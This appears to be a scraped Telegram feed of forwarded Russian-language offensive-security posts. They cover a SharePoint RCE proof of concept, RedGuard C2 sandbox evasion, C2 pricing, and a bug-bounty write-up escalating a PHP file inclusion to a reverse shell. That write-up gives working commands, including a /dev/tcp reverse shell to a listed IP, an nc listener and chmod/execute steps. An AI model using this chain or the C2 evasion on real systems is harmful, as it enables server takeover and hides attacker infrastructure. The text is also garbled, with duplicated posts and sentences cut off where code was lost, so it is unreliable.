Forwarded from ni
this chinese arch maintainer is maintaining almost 3000 packages by himself. And yeah, he definetely looks like a legit person, not the chinese ministry of of state security
Forwarded from SecuriXy.kz
Крутой, пока что бесплатный вэб-сервис #AntiCrypt, первый в мире инструмент для анализа вредоносных программ, который работает полностью автономно в браузере. Данные никогда не покидают ваше устройство. Представляем: #OMAT (Offline Malware Analysis Tool) - это программное обеспечение использует WebAssembly для использования функциональности браузера для выполнения низкоуровневых задач и запуска высокопроизводительных действий в браузере. Вы можете перетащить любой подозрительный файл в инструмент и получить подробную визуализацию того, что именно делает файл при выполнении, без необходимости запускать файл или загружать его в Интернет. OMAT также автоматически классифицирует действия, чтобы обнаружить потенциально вредоносное поведение. Также можно анализировать обычные программы для целей разработки или отладки. OMAT можно использовать для анализа приложений Windows / Linux / MacOS и даже исходного кода. OMAT бесплатен для использования и в настоящее время доступен на 13 языках: 🇺🇸 🇩🇪 🇳🇱 🇪🇸 🇵🇹 🇫🇷 🇮🇹 🇹🇷 🇷🇺 🇮🇳 🇨🇳 🇯🇵 🇦🇪
https://anticrypt.de/scan/
https://anticrypt.de/scan/
Forwarded from Cybred
RedGuard - Excellent C2 Front Flow Control tool
Умный файрволл, который скроет ваш C2 от чужих глаз.
— блокирует песочницы вендоров кибербезопасности на основе JA3 фингерпринтов и обширной базы IP-адресов
— поддерживает контроль входящего трафика для нескольких C&C серверов
— может реализовать domain fronting и осуществить балансировку нагрузки для достижения эффекта скрытности
— умеет в атрибуцию IP-адресов и блокировку по геопозиции
— способен строго проверять входящие http/s запросы на соответствие заданным malleable-профилям
Умный файрволл, который скроет ваш C2 от чужих глаз.
— блокирует песочницы вендоров кибербезопасности на основе JA3 фингерпринтов и обширной базы IP-адресов
— поддерживает контроль входящего трафика для нескольких C&C серверов
— может реализовать domain fronting и осуществить балансировку нагрузки для достижения эффекта скрытности
— умеет в атрибуцию IP-адресов и блокировку по геопозиции
— способен строго проверять входящие http/s запросы на соответствие заданным malleable-профилям
Forwarded from Cybred
bbradar.io
Собирает программы с площадок:
— BugBase
— CodeHawks
— HackerOne
— BugCrowd
— Intigriti
— Immunefi
— HackenProof
— YesWeHack
— Standoff365
— Code4rena
— Sherlock
Новые тоже добавляются, недавно было пополнение сайтом Remedy.
Я часто ловлю себя на мысли, что мне приходится тратить много сил и времени только на то, чтобы уследить за новыми программами на всех Bug Bounty площадках, где я работаю.
Последнее время меня стал раздражать этот процесс, поэтому я решил создать небольшое приложение-трекер, чтобы объединить последние общедоступные программы.
Надеюсь, это поможет вам быстрее выбрать понравившуюся программу и позволит сосредоточить всю свою энергию на реальном исследовании.
Собирает программы с площадок:
— BugBase
— CodeHawks
— HackerOne
— BugCrowd
— Intigriti
— Immunefi
— HackenProof
— YesWeHack
— Standoff365
— Code4rena
— Sherlock
Новые тоже добавляются, недавно было пополнение сайтом Remedy.
Forwarded from Укротитель змей
RCE через Microsoft SharePoint Server 2019
Microsoft SharePoint — веб-платформа для совместной работы, управления документами и организации совместного доступа к информации в организациях, которая широко используется в корпоративной среде.
Недавно увидел интересные CVE которые затрагивают эту веб-платформу:
CVE-2024-38094
CVE-2024-38024
CVE-2024-38023
Чтобы успешно эксплуатировать RCE, необходимо выполнить несколько условий, а именно
1) Сетевой доступ к уязвимому серверу SharePoint.
2) Учетные данные (лог/пасс) для NTLM аутентификации + учетная запись должна иметь права на создание файлов и папок.
Для успешной эксплуатации уязвимости предоставляется три скрипта: poc_filtered.py, poc_specific.py и poc_sub.py. Сейчас коротко разберем суть и как они работают.
Все три скрипта используют NTLM аутентификацию для доступа к API SharePoint и выполняют схожие действия:
Скрипты сначала аутентифицируются на сервере SharePoint с использованием предоставленных учетных данных. Затем они создают необходимые папки на сервере, такие как BusinessDataMetadataCatalog, отправляя POST-запросы к API SharePoint по пути /api/web/Folders.
Далее создается и загружается файл метаданных BDCMetadata.bdcm, содержащий информацию для выполнения уязвимости. В информации находятся команды для выполнения различных методов SharePoint, таких как GetCreatorView, GetDefaultValues, GetFilters и FindFiltered. Эти методы позволяют взаимодействовать с объектами и данными SharePoint, что в конечном итоге позволяет выполнить произвольный код.
То есть после запуска poc_filtered.py создается новая папка BusinessDataMetadataCatalog, после чего скрипт получает и сохраняет значение X-RequestDigest для дальнейших запросов. X-RequestDigest — это токен, подтверждающий, что запрос исходит от подлинного пользователя. Этот токен включается в заголовки последующих запросов для подтверждения их подлинности. Затем скрипт создает и загружает файл метаданных BDCMetadata.bdcm в созданную папку. Этот файл содержит данные и команды, которые будут использоваться для выполнения уязвимости. В конце, скрипт отправляет специально сформированный XML-запрос к API SharePoint для выполнения уязвимых методов, что позволяет выполнить произвольный код на сервере.
Но между скриптами есть небольшая разница, а именно в используемых методах.
1) poc_filtered.py использует метод FindFiltered для взаимодействия с объектами SharePoint.
2) poc_specific.py использует метод FindSpecific для выполнения конкретных задач и команд.
3) poc_sub.py в этом скрипте используется метод Subscribe для подписки на события или действия.
PoC
PoC Video
Microsoft SharePoint — веб-платформа для совместной работы, управления документами и организации совместного доступа к информации в организациях, которая широко используется в корпоративной среде.
Недавно увидел интересные CVE которые затрагивают эту веб-платформу:
CVE-2024-38094
CVE-2024-38024
CVE-2024-38023
Чтобы успешно эксплуатировать RCE, необходимо выполнить несколько условий, а именно
1) Сетевой доступ к уязвимому серверу SharePoint.
2) Учетные данные (лог/пасс) для NTLM аутентификации + учетная запись должна иметь права на создание файлов и папок.
Для успешной эксплуатации уязвимости предоставляется три скрипта: poc_filtered.py, poc_specific.py и poc_sub.py. Сейчас коротко разберем суть и как они работают.
Все три скрипта используют NTLM аутентификацию для доступа к API SharePoint и выполняют схожие действия:
Скрипты сначала аутентифицируются на сервере SharePoint с использованием предоставленных учетных данных. Затем они создают необходимые папки на сервере, такие как BusinessDataMetadataCatalog, отправляя POST-запросы к API SharePoint по пути /api/web/Folders.
Далее создается и загружается файл метаданных BDCMetadata.bdcm, содержащий информацию для выполнения уязвимости. В информации находятся команды для выполнения различных методов SharePoint, таких как GetCreatorView, GetDefaultValues, GetFilters и FindFiltered. Эти методы позволяют взаимодействовать с объектами и данными SharePoint, что в конечном итоге позволяет выполнить произвольный код.
То есть после запуска poc_filtered.py создается новая папка BusinessDataMetadataCatalog, после чего скрипт получает и сохраняет значение X-RequestDigest для дальнейших запросов. X-RequestDigest — это токен, подтверждающий, что запрос исходит от подлинного пользователя. Этот токен включается в заголовки последующих запросов для подтверждения их подлинности. Затем скрипт создает и загружает файл метаданных BDCMetadata.bdcm в созданную папку. Этот файл содержит данные и команды, которые будут использоваться для выполнения уязвимости. В конце, скрипт отправляет специально сформированный XML-запрос к API SharePoint для выполнения уязвимых методов, что позволяет выполнить произвольный код на сервере.
Но между скриптами есть небольшая разница, а именно в используемых методах.
1) poc_filtered.py использует метод FindFiltered для взаимодействия с объектами SharePoint.
2) poc_specific.py использует метод FindSpecific для выполнения конкретных задач и команд.
3) poc_sub.py в этом скрипте используется метод Subscribe для подписки на события или действия.
PoC
PoC Video
Forwarded from Укротитель змей
tg_image_4241186859.jpeg
20 KB
ФБ проливает базовая LFI докрученная до reverse shell
LFI — уязвимость в вебе, которая позволяет хакеру включать серверные файлы. Происходит это из-за неправильного использования функций
PHP filter chain generator
Коротко о работе скрипта:
Он использует комбинацию
Эта техника стала моим тузом в рукаве, но что если на этом не останавливаться? Как раскрутить эту технику до reverse shell?
Долго не думая, начинаю делать как чувствую.
Увидел вывод нашего скрипта и понял, что сейчас будет. Он нереально огромный, и
Пробовал разные методы обхода, докрутки и практически сдался, но пришла в голову идея. Чтобы скрипт работал, его вывод должен быть небольшого размера. Осознал, что его надо максимально сокращать, и вот какая была реализация.
Написал скрипт, который создает файл в директории
Дальше нам остается только выдать права и запустить наш файл, используя все так же нашу технику.
Таким образом, была реализована крафтовая докрутка до
Реализация:
LFI — уязвимость в вебе, которая позволяет хакеру включать серверные файлы. Происходит это из-за неправильного использования функций
include, require, include_once и require_once в PHP. Существует множество способов, как сделать LFI2RCE, но сегодня возьмем мой любимый. PHP filter chain generator
Коротко о работе скрипта:
Он использует комбинацию
PHP-фильтров для создания данных, закодированных в Base64, для включения и исполнения произвольного кода. Создавая цепочки фильтров, которые выполняются последовательно, он декодирует данные и преобразует их в payload. Таким образом, мы можем получить RCE, запустив скрипт и вставив вывод в место вашего LFI.python3 script.py --chain '<?php system("ls"); ?>'Эта техника стала моим тузом в рукаве, но что если на этом не останавливаться? Как раскрутить эту технику до reverse shell?
Долго не думая, начинаю делать как чувствую.
python3 script.py --chain '<?php system("/bin/sh -i >& /dev/tcp/10.2.6.66/20103 0>&1"); ?>'Увидел вывод нашего скрипта и понял, что сейчас будет. Он нереально огромный, и
GET-запрос, конечно же, его отклонил с ошибкой.HTTP/1.1 414 Request-URI Too Long
The requested URL's length exceeds the capacity
limit for this server
Пробовал разные методы обхода, докрутки и практически сдался, но пришла в голову идея. Чтобы скрипт работал, его вывод должен быть небольшого размера. Осознал, что его надо максимально сокращать, и вот какая была реализация.
Написал скрипт, который создает файл в директории
/tmp/ с названием в одну букву /tmp/a, и мы записываем в него наш shell посимвольно. В итоге мы имеем файл a с reverse shell.Дальше нам остается только выдать права и запустить наш файл, используя все так же нашу технику.
Таким образом, была реализована крафтовая докрутка до
reverse shell. Ниже прикреплю файлы, реализацию, скрины.Реализация:
nc -lvnp 7777
python3 shellconstructor.py
python3 script.py --chain "<?php system('chmod +x /tmp/a'); ?>"
python3 script.py --chain "<?php system('cd /tmp/ ; ./a'); ?>"
Forwarded from /g/'s Tech Memes (depresso espresso)
uk sucks
Forwarded from /g/'s Tech Memes (depresso espresso)
/g/'s Tech Memes
Photo
"we are arresting you due to a comment you posted on facebook"☝️🤓 🤓 🤓 🤓
imagine getting arrested over a fucking comment. millions must use vpn. millions must be anonymous. millions must use fake identity online. millions must have good opsec.
imagine getting arrested over a fucking comment. millions must use vpn. millions must be anonymous. millions must use fake identity online. millions must have good opsec.
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Cybred
This media is not supported in your browser
VIEW IN TELEGRAM
Загадки человечества:
— гибель Титаника
— Тунгусский метеорит
— Бермудский треугольник
— как работает ценообразование на C&C?!
1. Cobalt Strike + Core Impact =
2. Nighthawk (
Сегодня список пополнился новым софтом, — 0xc2 https://www.0xc2.io/
Выглядит так, как будто кто-то форкнул опенсорсный havoc, перекрасил иконки и выставил на продажу.
— гибель Титаника
— Тунгусский метеорит
— Бермудский треугольник
— как работает ценообразование на C&C?!
1. Cobalt Strike + Core Impact =
$12,600 user/year (базовая версия)2. Nighthawk (
$10,000) * 3 (минимальное кол-во лицензий) = $30,000 yearСегодня список пополнился новым софтом, — 0xc2 https://www.0xc2.io/
€4,500 * 2 = €9000 year.Выглядит так, как будто кто-то форкнул опенсорсный havoc, перекрасил иконки и выставил на продажу.
Forwarded from club1337